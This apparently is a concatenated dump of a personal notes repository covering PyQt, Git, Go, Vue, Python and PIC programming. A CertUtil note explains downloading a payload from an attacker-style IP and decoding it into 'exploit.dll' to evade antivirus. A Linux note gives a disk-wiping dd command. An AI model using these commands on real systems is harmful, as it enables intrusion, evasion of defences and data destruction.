let itinerario = new Itinerario();
itinerario.fabrica = data[0];
itinerario.itinerario = data;
itinerario.custo = custo;
itinerario.save(function(err) {
});
}
module.exports.calcularItinerarios = calcularItinerarios;<file_sep>/SiCEnc/models/estadoEncomenda.js
const estadosEncomenda = ["Submetida",
"Validada",
"Assignada",
"Em Producao",
"Em Embalamento",
"Pronta a Expedir",
"Expedida",
"Entregue",
"Rececionada",
"Cancelada"];
module.exports.estadosArr = function() {
return estadosEncomenda;
}
<file_sep>/SiCEnc/routes/itinerarioRoute.js
var express = require('express');
var router = express.Router();
const itinerario_controller = require('../controllers/itinerarioController');
router.get('/', itinerario_controller.listarItinerarios);
router.get('/calcularItinerarios', itinerario_controller.calcularItinerarios);
module.exports = router;<file_sep>/SiCEnc/config.js
module.exports = {
sicGcUrl: process.env.SIC_GC_URL,
sicEncDbUrl: process.env.SIC_ENC_DB_URL,
sicEntregasUrl: process.env.SIC_ENTREGAS_URL
} | 31aeabe358e53299c46b481d6a64e21e846686bc | [
"JavaScript"
] | 12 | JavaScript | jreis22/sic-encomendas-g8583 | 74bd19a0c4927ea6504b8bec34b60f4973fd3c88 | 794165148a81ad25d590b6ffc39a7272803ad338 |
refs/heads/main | <file_sep>## MainWindow
```python
def eventFilter(self, obj, event):
if obj is self.cell.textBrowser_console.viewport():
if event.type() == QEvent.MouseButtonRelease:
if self.cell.textBrowser_console.textCursor().hasSelection():
start = self.cell.textBrowser_console.textCursor().selectionStart()
end = self.cell.textBrowser_console.textCursor().selectionEnd()
# print(start, end)
select_txt = self.cell.textBrowser_console.toPlainText()[start:end]
print(select_txt)
self.cb.clear()
# , mode=QtGui.QClipboard.Clipboard
self.cb.setText(select_txt)
print("clipboard")
print(self.cb.text())
# elif event.type() == QEvent.MouseButtonPress:
# print("event mousePressEvent")
return QtWidgets.QMainWindow.eventFilter(self, obj, event)
```
## Event
```python
def __init__(self, parent):
self.textBrowser_console.copyAvailable.connect(self.text_copy)
# self.textBrowser_console.ensureCursorVisible()
# self.textBrowser_console.setOpenLinks(True)
# self.textBrowser_console.setOpenExternalLinks(False)
# self.textBrowser_console.copyAvailable(True)
# self.textBrowser_console.viewport().installEventFilter(parent)
def text_copy(self, status:bool):
if status:
self.textBrowser_console.copy()
# select_txt = self.textBrowser_console.createMimeDataFromSelection().text()
# print("+++++select_txt+++++")
# print(select_txt)
# QtWidgets.QApplication.clipboard().setText(select_txt)
command = QtWidgets.QApplication.clipboard().text()
print("--------select_txt----------")
print(command)
self.textBrowser_console.mousePressEvent()
```
## 快捷键
```python
import sys
from PyQt5.QtWidgets import QMainWindow, QWidget, QApplication
from PyQt5.QtCore import Qt
class MainWindow(QMainWindow):
def __init__(self, parent = None):
super().__init__(parent)
self.initUI()
def initUI(self):
self.setWindowTitle("鼠标键盘事件示例")
self.setCentralWidget(QWidget())#指定主窗口中心部件
self.statusBar().showMessage("ready")#状态栏显示信息
self.resize(300,185)
#重新实现各事件处理程序
def keyPressEvent(self, event):
key = event.key()
if Qt.Key_A <= key <= Qt.Key_Z:
if event.modifiers() & Qt.ShiftModifier: #Shift 键被按下
self.statusBar().showMessage('"Shift+%s" pressed' % chr(key),500)
elif event.modifiers() & Qt.ControlModifier: #Ctrl 键被按下
self.statusBar().showMessage('"Control+%s" pressed' % chr(key),500)
elif event.modifiers() & Qt.AltModifier: #Alt 键被按下
self.statusBar().showMessage('"Alt+%s" pressed' % chr(key),500)
else:
self.statusBar().showMessage('"%s" pressed' % chr(key),500)
elif key == Qt.Key_Home:
self.statusBar().showMessage('"Home" pressed' ,500)
elif key == Qt.Key_End:
self.statusBar().showMessage('"End" pressed',500)
elif key == Qt.Key_PageUp:
self.statusBar().showMessage('"PageUp" pressed',500)
elif key == Qt.Key_PageDown:
self.statusBar().showMessage('"PageDown" pressed',500)
else: #其它未设定的情况
QWidget.keyPressEvent(self, event) #留给基类处理
'''
其它常用按键:
Qt.Key_Escape,Qt.Key_Tab,Qt.Key_Backspace,Qt.Key_Return,Qt.Key_Enter,
Qt.Key_Insert,Qt.Key_Delete,Qt.Key_Pause,Qt.Key_Print,Qt.Key_F1...Qt.Key_F12,
Qt.Key_Space,Qt.Key_0...Qt.Key_9,Qt.Key_Colon,Qt.Key_Semicolon,Qt.Key_Equal
...
'''
def mousePressEvent(self, event): #鼠标按下事件
pos = event.pos() #返回鼠标所在点QPoint
self.statusBar().showMessage('Mouse is pressed at (%d,%d) of widget '% (pos.x(),pos.y()),500)
globalPos = self.mapToGlobal(pos)
print('Mouse is pressed at (%d,%d) of screen '% (globalPos.x(),globalPos.y()))
def mouseReleaseEvent(self, event): #鼠标释放事件
pos = event.pos() #返回鼠标所在点QPoint
self.statusBar().showMessage('Mouse is released at (%d,%d) of widget '% (pos.x(),pos.y()),500)
if event.button() == Qt.LeftButton:
print("左键")
elif event.button() == Qt.MidButton:
print("中键")
elif event.button() == Qt.RightButton:
print("右键")
def mouseDoubleClickEvent(self, event): #鼠标双击事件
pos = event.pos() #返回鼠标所在点QPoint
self.statusBar().showMessage('Mouse is double-clicked at (%d,%d) of widget '% (pos.x(),pos.y()),500)
def mouseMoveEvent(self, event): #鼠标移动事件
pos = event.pos() #返回鼠标所在点QPoint
self.statusBar().showMessage('Mouse is moving at (%d,%d) of widget '% (pos.x(),pos.y()),500)
if __name__ == '__main__':
app = QApplication(sys.argv)
mw = MainWindow()
mw.show()
sys.exit(app.exec_())
```
### QShortcut
```python
QShortcut(QKeySequence(self.tr("Shift+Z")), self, self.shortcut_start_l)
```
## Event
```shell
def eventFilter(self, obj, event):
if event.type() == QtCore.QEvent.KeyPress:
if QKeyEvent.modifiers() == Qt.ControlModifier and QKeyEvent.key() == Qt.Key_A:
# modifiers() 判断修饰键
# Qt.NoModifier 没有修饰键
# Qt.ShiftModifier Shift键被按下
# Qt.ControlModifier Ctrl键被按下
# Qt.AltModifier Alt键被按下
print('按下了Ctrl-A键')
from PyQt5.QtCore import Qt
if QKeyEvent.modifiers() == Qt.ControlModifier | Qt.ShiftModifier and QKeyEvent.key() == Qt.Key_A: # 三键组合
print('按下了Ctrl+Shift+A键')
if obj is self.cell.textBrowser_console.viewport():
if event.type() == QEvent.MouseButtonRelease:
if self.cell.textBrowser_console.textCursor().hasSelection():
start = self.cell.textBrowser_console.textCursor().selectionStart()
end = self.cell.textBrowser_console.textCursor().selectionEnd()
# print(start, end)
select_txt = self.cell.textBrowser_console.toPlainText()[start:end]
print(select_txt)
self.cb.clear()
self.cb.setText(select_txt)
print("clipboard")
print(self.cb.text())
# elif event.type() == QEvent.MouseButtonPress:
# print("event mousePressEvent")
return QtWidgets.QMainWindow.eventFilter(self, obj, event)
```
<file_sep>---
typora-root-url: 01asserts
---
## 相关网站
+ https://golang.org/dl/
+ https://www.liwenzhou.com/
+ http://c.biancheng.net/view/3992.html
## Go语言为并发而生
大多数现代编程语言(如Java,Python等)都来自90年代的单线程环境。虽然一些编程语言的框架在不断地提高多核资源使用效率,例如 Java 的 Netty 等,但仍然需要开发人员花费大量的时间和精力搞懂这些框架的运行原理后才能熟练掌握。
Go于2009年发布,当时多核处理器已经上市。Go语言在多核并发上拥有原生的设计优势,Go语言从底层原生支持并发,无须第三方库、开发者的编程技巧和开发经验。
很多公司,特别是中国的互联网公司,即将或者已经完成了使用 Go 语言改造旧系统的过程。经过 Go 语言重构的系统能使用更少的硬件资源获得更高的并发和I/O吞吐表现。充分挖掘硬件设备的潜力也满足当前精细化运营的市场大环境。
Go语言的并发是基于 `goroutine` 的,`goroutine` 类似于线程,但并非线程。可以将 `goroutine` 理解为一种虚拟线程。Go 语言运行时会参与调度 `goroutine`,并将 `goroutine` 合理地分配到每个 CPU 中,最大限度地使用CPU性能。开启一个`goroutine`的消耗非常小(大约2KB的内存),你可以轻松创建数百万个`goroutine`。
`goroutine`的特点:
1. `goroutine`具有可增长的分段堆栈。这意味着它们只在需要时才会使用更多内存。
2. `goroutine`的启动时间比线程快。
3. `goroutine`原生支持利用channel安全地进行通信。
4. `goroutine`共享数据结构时无需使用互斥锁。
<file_sep>## 数据库读取
SQLiteStudio 绿色软件,无需安装
[官方下载](https://github.com/pawelsalawa/sqlitestudio/releases)
<file_sep>+ https://www.youtube.com/watch?v=K4YDHFalAK8
+ https://channel9.msdn.com/
<file_sep>
多线程常用方法
1. 计时器模块 QTimer
2. 多线程模块 QThread
3. 事件处理
## QTimer
周期性进行某项操作,比如 周期性检测主机的 CPU
需要创建 QTimer 实例,将 timeout 信号连接到相应的槽, 并调用 `start()`
不好,界面会不响应,被淘汰
## QThread
需要隐藏所有与平台相关的代码。
+ 继承QThread
+ 重写 `run()`
+ 选择重新 `started()`, `finished()`, 可以指定对应槽函数,进行资源初始化和清理。
## 事件处理
PyQt 两种事件处理机制
1. 信号与槽
2. 事件处理程序, `QApplication.processEvents()`
<file_sep>
1. 水平布局 `QHBoxLayout`
2. 垂直布局 `QVBoxLayout`
3. 网格布局 `QGridLayout`
4. 表单布局 `QFormLayout`
## 布局方法
1. `addLayout()`
+ 插入子布局
2. `addWidget()`
+ 插入控件
<file_sep>Linux 低格
```shell
# 查找磁盘挂载点
sudo fdisk -l
# of 后是第一条命令查出的磁盘挂载点路径
sudo dd if=/dev/zero of=/dev/sda
```
<file_sep>## ubuntu 20
default python3, python2 not installed
```bash
sudo apt install python3-pip -y
```
<file_sep>
1. 单文档界面,同时显示多个窗口,创建多个独立窗口
+ SDI, Single Document Interface
2. 多文档界面,占用较少内存资源,子窗口可以放在主窗口容器中,该容器控件称为 QMdiArea
+ MDI, Multiple Document Interface
QMdiArea 控件通常占据在 QMainWindow 对象的中央位置,子窗口在这个区域是 QMdiSubWindow 类的实例。可以设置任何 QWidget 作为子窗口对象的内部控件。子窗口在 MDI 区域进行级联排列布局。<file_sep>\\192.168.2.251\TempFile\tools
<file_sep>---
typora-root-url: Pickit3
---
## 如何用labview调用Pickit3烧录
labview调用命令行的方式来调用烧录器烧录,你安装的mplab里面应该也有相应的应用程序,PK3CMD.EXE 你找找看,图片是相关的一些命令
+ [Supporting Third Party Programming Tools - Flowcode Help](https://www.matrixtsl.com/wikiv7/index.php?title=Supporting_Third_Party_Programming_Tools#PICkit3_using_PK3CMD_.28OLD.29)
### 1. PICkit3 using PK3CMD (OLD)
There are two options for using the PICkit 3 depending on how you are powering your hardware:
**Powered externally**
Location:
```
$(appdir)tools\PICkit3\PK3CMD.exe
```
Parameters (8-bit PIC):
```
-P$(chip) -F$(target).hex -E -M
```
Parameters (16-bit PIC):
```
-P$(chip) -F$(target).hex -E -M -L
```
**Powered via the PICkit**
Location:
```
$(appdir)tools\PICkit3\PK3CMD.exe
```
Parameters (8-bit PIC):
```
-P$(chip) -F$(target).hex -V5 -E -M
```
Parameters (16-bit PIC):
```
-P$(chip) -F$(target).hex -V3.3 -E -M -L
```
Please note that the PICkit 3 will fail to program if you have spaces in your Flowcode project name, replacing spaces with underscores or removing them completely should resolve the issue.
Also note that if your using the PICkit 3 with MPLABX or have bought a new one recently then you will likely have to downgrade the firmware to allow Flowcode to work with the PICkit.
Full details on how to do this are available from [here](http://woodworkerb.com/pickit-3-and-flowcode-6/).
### 2. ICD3 using MPLABX IPE (NEW)
First make sure you have the latest MPLAB X installed on your computer. We used version 3.30 which is used in the location path shown below. Make sure your path matches your installed location.
There are two options for using the ICD3 depending on how you are powering your hardware:
**Powered externally**
Location:
```
C:\Program Files (x86)\Microchip\MPLABX\v3.30\mplab_ipe\ipecmd.exe
```
Parameters:
```
/P$(chip) /F"$(outdir)$(target).hex" /TPICD3 /M /OL
```
**Powered via the ICD3**
Location:
```
C:\Program Files (x86)\Microchip\MPLABX\v3.30\mplab_ipe\ipecmd.exe
```
Parameters - Powered at 3V3:
```
/P$(chip) /F"$(outdir)$(target).hex" /TPICD3 /M /OL /W3.3
```
Parameters - Powered at 5V:
```
/P$(chip) /F"$(outdir)$(target).hex" /TPICD3 /M /OL /W5
```
If your still having problems getting the PICkit 3 to fire up then this [forum topic](http://www.matrixtsl.com/mmforums/viewtopic.php?f=54&t=12970&p=58454#p52318) may be of help.
### 3. PICKit3 Error PK3Err0033
https://www.microchip.com/forums/m875939.aspx
Hi, I tried to program so PIC24FJ64GB002 processors using MPLab8 but it didn't work. I used the PICKit 3 v 3.10 and it work great, except at the end of each run I get PICKit3.ini access denied. The programmer works just fine now with 3.10 but when I go back to MPLab8 I get a PK3Err0033 error. What did I do wrong and is there a fix for the PICKit3. Thank you for any assistance.
## MPLAB® X Integrated Development Environment (IDE)
https://www.microchip.com/en-us/development-tools-tools-and-software/mplab-x-ide#tabs
## [IPECMD - Automate MPLAB X programming process using command line](https://microchipsupport.force.com/s/article/Automate-MPLAB-programming-process-using-command-lineIPECMD)
**Programming Tools Supported**
Refer to their respective readmes for additional information:
- MPLAB PICkit™ 4 in-circuit debugger/production programmer
- MPLAB Snap in-circuit debugger/development programmer
- PICkit 3 in-circuit debugger/development programmer
- MPLAB ICD 4 in-circuit debugger/production programmer
- MPLAB ICD 3 in-circuit debugger/production programmer
- MPLAB REAL ICE™ in-circuit emulator/production programmer
- MPLAB PM3 production programmer
- PICkit On Board (PKOB) demo boards
- PICkit On Board 4 (PKOB4) demo boards
```
@REM pushd %out_dir%
@REM rename %org_dir_name% %tar_dir_name%
@REM popd
```
<file_sep>
```powershell
#Aliases
Get-ChildItem | % {Write-host "$($_.fullName)"
#No Aliases
Get-ChildItem | ForEach-Object { Write-Host "$($_.FullName)"
```
## vs code
+ ` “File -> Preferences -> Settings” `
+ `Ctrl + ` powershell
> You must have Powershell extension installed
- PowerShell -> Code Formatting: Auto Correct Aliases
- powershell.codeFormatting.autoCorrectAliases
- PowerShell -> Code Formatting: Use Correct Casing
- powershell.codeFormatting.useCorrectCasing<file_sep>-- CREATE DATABASE IF NOT EXISTS jxfactory;
-- CREATE DATABASE IF NOT EXISTS jxfactory DEFAULT CHARACTER SET utf8 DEFAULT COLLATE utf8_chinese_ci;
DROP DATABASE jxfactory IF EXISTS;
CREATE DATABASE IF NOT EXISTS jxfactory DEFAULT CHARACTER SET utf8;
USE jxfactory;
CREATE TABLE meteroutfactory(
SN INT(20) not null primary key auto_increment,
OrderNo VARCHAR(20) NULL,
DeviceID VARCHAR(20) NOT NULL,
OperatorUser VARCHAR(10) NULL,
SceneType VARCHAR(20) NULL,
Factory VARCHAR(10) NULL,
ProjectDesc VARCHAR(100) NULL,
Status VARCHAR(1) NOT NULL,
PCBCode VARCHAR(20) NULL,
StartDate datetime NOT NULL,
EndDate datetime NOT NULL
);
CREATE TABLE meteroutfactorydetail(
SN INT(20) not null primary key auto_increment,
DeviceID VARCHAR(20) NOT NULL,
SceneType VARCHAR(20) NULL,
CmdNum INT(11) NOT NULL,
CmdDescription VARCHAR(100) NULL,
ScreenValue VARCHAR(100) NULL,
ActValue VARCHAR(100) NULL,
ResultValue VARCHAR(50) NULL,
ExecStatus VARCHAR(1) NOT NULL,
ExecDate datetime NOT NULL
);
<file_sep>
前面课程中我们接触到了 Vue 实例选项中的 el、data、methods 这三个属性,还记得它们各自的用途吗?接下来我们将学习实例的其他属性。
知识点
+ 计算属性
+ 计算属性中 getter 和 setter
+ 侦听属性
+ 计算属性与侦听属性对比
+ 过滤器的使用
```
$ cd syl-editor
$ yarn serve
```
但是在实验楼的环境下比较特殊,需要在根目录 /项目名 下创建
vue.config.js 文件,在里面输入以下代码:
```
const HOST = process.env.HOST
module.exports = {
publicPath: './',
productionSourceMap: false,
devServer: {
host: HOST || '0.0.0.0',
disableHostCheck:true
}
}
```
<file_sep>## 语言
```shell
git config --global core.quotepath false
git config --global gui.encoding utf-8
git config --global i18n.commit.encoding utf-8
git config --global i18n.logoutputencoding utf-8
set LESSCHARSET=utf-8
```
## 取消全局设置
```shell
git config --global --unset user.name
git config --global --unset user.email
# project folder
git config user.email <EMAIL>
git config user.name vicky
```
## key
### 1 生成Key
```shell
ssh-keygen -t rsa -C <EMAIL>
ssh-keygen -t rsa -C <EMAIL>
ssh-keygen -t rsa -C <EMAIL>
```
### 2 创建 config
.ssh 目录下
```shell
#Default github
Host github.com
HostName github.com
PreferredAuthentications publickey
IdentityFile C:\Users\vicky\.ssh\id_rsa_epds
#second user
Host yaya
HostName github.com
PreferredAuthentications publickey
IdentityFile C:\Users\vicky\.ssh\id_rsa_yaya_vicky
#third user
Host rhymehub
HostName github.com
PreferredAuthentications publickey
IdentityFile C:\Users\vicky\.ssh\id_rsa_rhyme
```
### 3 测试
```shell
ssh -T git@yaya
```
### 4. 使用新的公私钥
```shell
# org path
git clone <EMAIL>:yayavicky/notes.git
# actual use
git clone git@yaya:yayavicky/notes.git
git git@yaya:yayavicky/EpdsTestPlatform.git
```
## tag
```shell
git tag -l
git push origin --tags
git push origin tagname
git branch -d gu
git push origin --delete gu
```
<file_sep>## Ubuntu
### 开启pip
```shell
sudo apt-get update
sudo apt install yum
sudo apt-get install python3-pip
```
```shell
sudo apt-add-repository ppa:ansible/ansible
sudo apt-get install ansible -y
```
## python env
```shell
mkdir $HOME/.pyvirtualenvs
pip install --user virtualenv
```
>WARNING: The script virtualenv is installed in '/home/vicky/.local/bin' which is not on PATH.
>Consider adding this directory to PATH or, if you prefer to suppress this warning, use --no-warn-script-location.
## Hy
```powershell
DISM /Online /Enable-Feature /All /FeatureName:Microsoft-Hyper-V
```
<file_sep>## 使用函数装饰器实现单例
```py
def singleton(cls):
_instance = {}
def inner():
if cls not in _instance:
_instance[cls] = cls()
return _instance[cls]
return inner
@singleton
class Cls(object):
def __init__(self):
pass
cls1 = Cls()
cls2 = Cls()
print(id(cls1) == id(cls2))
```
## 使用类装饰器实现单例
```py
class Singleton(object):
def __init__(self, cls):
self._cls = cls
self._instance = {}
def __call__(self):
if self._cls not in self._instance:
self._instance[self._cls] = self._cls()
return self._instance[self._cls]
@Singleton
class Cls2(object):
def __init__(self):
pass
cls1 = Cls2()
cls2 = Cls2()
print(id(cls1) == id(cls2))
```
## New、Metaclass 关键字
### 使用 new 关键字实现单例模式
```py
class Single(object):
_instance = None
def __new__(cls, *args, **kw):
if cls._instance is None:
cls._instance = object.__new__(cls, *args, **kw)
return cls._instance
def __init__(self):
pass
single1 = Single()
single2 = Single()
print(id(single1) == id(single2))
```
### 使用 metaclass 实现单例模式
使用 type 创造类的方法
```py
def func(self):
print("do sth")
Klass = type("Klass", (), {"func": func})
c = Klass()
c.func()
```
metaclass
```py
class Singleton(type):
_instances = {}
def __call__(cls, *args, **kwargs):
if cls not in cls._instances:
cls._instances[cls] = super(Singleton, cls).__call__(*args, **kwargs)
return cls._instances[cls]
class Cls4(metaclass=Singleton):
pass
cls1 = Cls4()
cls2 = Cls4()
print(id(cls1) == id(cls2))
```<file_sep>
## 窗口类型
1. QMainWindow 主窗口
+ 菜单栏
+ 工具栏
+ 状态栏
+ 标题栏
2. QWidget
+ 是所有用户界面对象的基类,不确定是主窗口或对话框时可以使用。
+ 可以作为顶层窗口
+ 也可嵌入其他窗口
3. QDialog
+ 对话框基类,执行短期任务
+ 可以是 模态 或 非模态
+ 无 菜单栏、工具栏、状态栏
>QMainWindow 不能设置布局(`setLayout()`),因为有自己的布局。
## QLabel
继承关系
```
QObject ----+
|
QPaintDevice ----+
|
+ ---- QFrame
|
+----- QLabel
```
## QDialog
子类有
+ QMessageBox
+ QFileDialog
+ QFontDialog
+ QInputDialog
<file_sep>## 编码 解码 base64
```powershell
CertUtil -encode test.txt encode.txt
type .\encode.txt
CertUtil -decode encode.txt decode.txt
type .\decode.txt
```
## 编码 十六进制
```powershell
CertUtil -encodehex .\abc.ps1 encode2.txt
type .\encode2.txt
CertUtil -decodehex encode2.txt decode2.txt
type .\decode2.txt
```
## 散列
MD5,SHA-1,SHA-256
```powershell
CertUtil -hashfile test.txt md5
```
## 下载
```powershell
CertUtil.exe -urlcache -split -f http://服务器ip:8000/xss.js
```
### 使用Certutil进行渗透测试
>Certutil可在未经任何验证或评估的情况下主动从Internet下载文件
### 提交恶意DLL编码
>Certutil可对文件进行base64编码,攻击者可以使用经过混淆的文件来隐藏扫描攻击的证据,然后再解码这些文件,这就是certutil发挥作用的地方,可以解码数据并避免杀毒软件的察觉。Certutil还可以用于解码已隐藏在证书文件中的可移植可执行文件。
有效载荷可以被编码或加密,以避免被检测
```powershell
CertUtil -urlcache -split -f http://192.168.211.129:8000/dll.txt | certutil -encode dll.txt edll.txt
CertUtil -decode .\edll.txt exploit.dll
```
## 系统错误代码
```powershell
CertUtil -error 8200
CertUtil -error 0x200
```
<file_sep>
+ [python - MVC design with Qt Designer and PyQt / PySide - Stack Overflow](https://stackoverflow.com/questions/26698628/mvc-design-with-qt-designer-and-pyqt-pyside)
+ [Why Qt is misusing model/view terminology?](https://stackoverflow.com/questions/5543198/why-qt-is-misusing-model-view-terminology)
+ [Presentation Model](https://martinfowler.com/eaaDev/PresentationModel.html)
+ [Development of Further Patterns of Enterprise Application Architecture](https://martinfowler.com/eaaDev/index.html)
## 建议的文件结构
```shell
project/
mvc_app.py # main application with App class
mvc_app_rc.py # auto-generated resources file (using pyrcc.exe or equivalent)
controllers/
main_ctrl.py # main controller with MainController class
other_ctrl.py
model/
model.py # model with Model class
resources/
mvc_app.qrc # Qt resources file
main_view.ui # Qt designer files
other_view.ui
img/
icon.png
views/
main_view.py # main view with MainView class
main_view_ui.py # auto-generated ui file (using pyuic.exe or equivalent)
other_view.py
other_view_ui.py
```
## Why Qt is misusing model/view terminology?
I think that the terminology used in Qt with model/view controls is flawed. On [their explanation page](https://doc.qt.io/qt-5.7/model-view-programming.html) they state, that they simplified the MVC to MV by merging View and Controller and they are giving the following picture:
However I think, they misnamed the roles of objects and I think that,
1. What they call View with merged Controller is in fact a View only.
2. What they call Model is in fact Controller only.
3. If you really want to have a model it would be somewhere where their "Data" is.
I am speaking about usual and sane way you would use Qt model/view component in your app. Here are the reasons:
1. This is typically Qt component which is used as is, without adding any Controller logic specific to your objects)
2. This is hardly a Model, just because you should implement several Qt methods like rowCount, columnCount, data etc. which have nothing to do with your model. In fact there are typical model methods found in Controllers. Of course, you can implement both Controller **and** Model logic here, but first it would be quite bad code design and secondly you would merge Controller and Model not Controller and View as they state.
3. As said in reason 2. if you want to separate Model logic that it is surely not the blue box on the picture, but rather the dashed "Data" box (communicating to real Data of course).
Is Qt wrong in their terminology, or it is just me who does not understand? (BTW: The reason why it is not academic question is that I have started to code my project following their naming and I have soon found out, that the code clearly is not right. It was only after that when I realized, that I should not try put Model logic in what they call Model)
In the [original smalltalk paper](http://st-www.cs.illinois.edu/users/smarch/st-docs/mvc.html) it says:
> The view manages the graphical and/or textual output to the portion of the bitmapped display that is allocated to its application. The controller interprets the mouse and keyboard inputs from the user, commanding the model and/or the view to change as appropriate. Finally, the model manages the behavior and data of the application domain, responds to requests for information about its state (usually from the view), and responds to instructions to change state (usually from the controller).
In light of that I would answer your three main concerns thusly:
1. In fact a Qt component "manages the graphical [...] output", and "interprets the mouse and keyboard inputs", so it could indeed be called merged View and Controller with respect to the definition above.
2. I agree that you are/would be forced to merge Controller and Model (again with respect to the definition above).
3. I agree, again. The Model should only manage the data of the *application domain*. This is what they call "data". Clearly, dealing with rows and columns for example has normally nothing to do with our applications domain.
Where does it leave us? In my opinion, it is best to figure out what Qt really means when the terms "Model" and "View" are used and use the terms in their manner while we are programming with Qt. If you keep being bothered it will only slow you down, and the way things are set up in Qt does allow elegant design - which weighs more that their "wrong" naming conventions.
----------------------------------------
## Short answer
Qt's MVC only applies to **one data structure**. When talking about an MVC **application** you should not think about `QAbstractItemModel` or `QListView`.
If you want an MVC architecture for your whole program, Qt hasn't such a "huge" model/view framework. But for each list / tree of data in your program you can use the Qt MVC approach which indeed has a **controller** within its view. The **data** is within or outside of the model; this depends on what type of model you are using (own model subclass: probably within the model; e.g. QSqlTableModel: outside (but maybe cached within) the model). To put your models and views together, use own classes which then implement the **business logic**.
------
## Long answer
*Qt's model/view approach and terminology:*
Qt provides simple **views** for their models. They have a **controller** built in: selecting, editing and moving items are something what in most cases a controller "controls". That is, interpreting user input (mouse clicks and moves) and giving the appropriate commands to the model.
Qt's **models** are indeed models having underlying data. The abstract models of course don't hold data, since Qt doesn't know how you want to store them. But *you* extend a QAbstractItemModel to your needs by adding your data containers to the subclass and making the model interface accessing your data. So in fact, and I assume you don't like this, the problem is that *you* need to program the model, so how data is accessed and modified in your data structure.
In MVC terminology, the model contains both the **data** and the **logic**. In Qt, it's up to you whether or not you include some of your business logic inside your model or put it outside, being a "view" on its own. It's not even clear what's meant by logic: Selecting, renaming and moving items around? => already implemented. Doing calculations with them? => Put it outside or inside the model subclass. Storing or loading data from/to a file? => Put it inside the model subclass.
------
*My personal opinion:*
It is very difficult to provide a good *and* generic MV(C) system to a programmer. Because in most cases the models are simple (e.g. only string lists) Qt also provides a ready-to-use QStringListModel. But if your data is more complex than strings, it's up to you how you want to represent the data via the Qt model/view interface. If you have, for example, a struct with 3 fields (let's say persons with name, age and gender) you could assign the 3 fields to 3 different columns or to 3 different roles. I dislike both approaches.
I think Qt's model/view framework is only useful when you want to display **simple data structures**. It becomes difficult to handle if the data is of **custom types** or structured not in a tree or list (e.g. a graph). In most cases, lists are enough and even in some cases, a model should only hold one single entry. Especially if you want to model one single entry having different attributes (one instance of one class), Qt's model/view framework isn't the right way to separate logic from user interface.
To sum things up, I think Qt's model/view framework is useful if and only if your data is being viewed by one of **Qt's viewer widgets**. It's totally useless if you're about to write your own viewer for a model holding only one entry, e.g. your application's settings, or if your data isn't of printable types.
------
*How did I use Qt model/view within a (bigger) application?*
I once wrote (in a team) an application which uses multiple Qt models to manage data. We decided to create a `DataRole` to hold the actual data which was of a different custom type for each different model subclass. We created an outer model class called `Model` holding all the different Qt models. We also created an outer view class called `View` holding the windows (widgets) which are connected to the models within `Model`. So this approach is an extended Qt MVC, adapted to our own needs. Both `Model` and `View` classes themselves don't have anything to do with the Qt MVC.
Where did we put the **logic**? We created classes which did the actual computations on the data by reading data from source models (when they changed) and writing the results into target models. From Qt's point of view, this logic classes would be views, since they "connect" to models (not "view" for the user, but a "view" for the business logic part of the application).
Where are the **controllers**? In the original MVC terminology, controllers interpret the user input (mouse and keyboard) and give commands to the model to perform the requested action. Since the Qt views already interpret user input like renaming and moving items, this wasn't needed. But what we needed was an interpretation of user interaction which goes beyond the Qt views.
-----------------------------
No, their "model' is definitely not a controller.
The controller is the part of user visible controls that modify the model (and therefore indirectly modify the view). For example, a "delete" button is part of the controller.
I think there is often confusion because many see something like "the controller modifies the model" and think this means the mutating functions on their model, like a "deleteRow()" method. But in classic MVC, the controller is specifically the user interface part. Methods that mutate the model are simply part of the model.
Since MVC was invented, its distinction between controller and view has become increasingly tense. Think about a text box: it both shows you some text and lets you edit it, so is it view or controller? The answer has to be that it is part of both. Back when you were working on a teletype in the 1960s the distinction was clearer – think of the [`ed`](https://en.m.wikipedia.org/wiki/Ed_(text_editor)) – but that doesn't mean things were better for the user back then!
It is true that their QAbstractItemModel is rather higher level than a model would normally be. For example, items in it can have a background colour (a brush technically), which is a decidedly view-ish attribute! So there's an argument that QAbstractItemModel is more like a view and your data is the model. The truth is it's somewhere in between the classic meanings of view and model. But I can't see how it's a controller; if anything that's the QT widget that uses it.
<file_sep>## 常用命令
你可以通过以下命令查看所有的配置以及它们所在的文件:
git config --list --show-origin
git config --global core.editor emacs
git config --list
git config <key>: 来检查 Git 的某一项配置
git config user.name
由于 Git 会从多个文件中读取同一配置变量的不同值,因此你可能会在其中看到意料之外的值而不知道为什么。 此时,你可以查询 Git 中该变量的 原始 值,它会告诉你哪一个配置文件最后设置了该值:
git config --show-origin rerere.autoUpdate
gitignore列表
https://github.com/github/gitignore<file_sep>
## 工具
+ https://typora.io/<file_sep>## prepare
```
npm install -g @vue/cli
vue --version
vue create ./
npm install vuex axios
axios for http request
npm run server
npm run build
```
>vscode 语法检查插件 vetur<file_sep>
Qt中,每一个QObject对象和 继承自 QWidget的控件,都支持 信号 与 槽 机制。
信号发射,连接的槽函数会自动执行。
信号 与 槽 通过 `object.singal.connect()` 连接。
+ 一个信号可以连接多个槽
+ 一个信号可以连接另一个信号
+ 信号参数可以是任何python 类型
+ 一个槽可以监听多个信号
+ 信号与槽的连接方式可以是同步连接,也可以是异步连接
+ 信号与槽的连接可以跨线程
+ 信号可能断开
`PyQt5.QtCore.pyqtSignal()` 可以为 `QObject` 创建信号。使用 `pyqtSingnal()` 可以把信号定义为类的属性。
使用 `pyqtSingnal()`创建一个或多个重载的未绑定的信号作为类的属性,信号只能在 `QObject`的子类中定义。
信号必须在类创建时定义,不能在类创建后作为类的属性动态添加进来。
types 参数表示定义信号时参数的类型,name 参数表示信号的名字。
+ `connect()` 函数把信号绑定到槽函数上。
+ `disconnect()` 函数解除信号与槽函数的绑定。
+ `emit(*args)` 发射信号。
## 使用方法
1. 内置信号与槽的使用
- 发射时使用窗口控件的函数,而非自定义函数。
2. 自定义信号与槽的使用
3. 装饰器的信号与槽的使用
<file_sep>```py
class EpdsException(Exception):
def __init__(self, msg):
super(EpdsException, self).__init__()
self.msg = msg
def __str__(self):
return f"EpdsException {self.msg}"
if __name__ == "__main__":
try:
raise EpdsException("test")
except EpdsException as ex:
print(ex)
except Exception as ex:
print(ex)
```
<file_sep>
+ https://doc.qt.io/qt-5/stylesheet-examples.html
+ https://blog.csdn.net/qq_41007606/article/details/109361612
+ https://sourceforge.net/projects/qsseditor/
- https://github.com/HappySeaFox/qsseditor/releases
+ https://www.zhihu.com/column/QtQuickExamples
+ https://github.com/ColinDuquesnoy/QDarkStyleSheet<file_sep># 1. 解释
## 1.1. 什么是setuptools
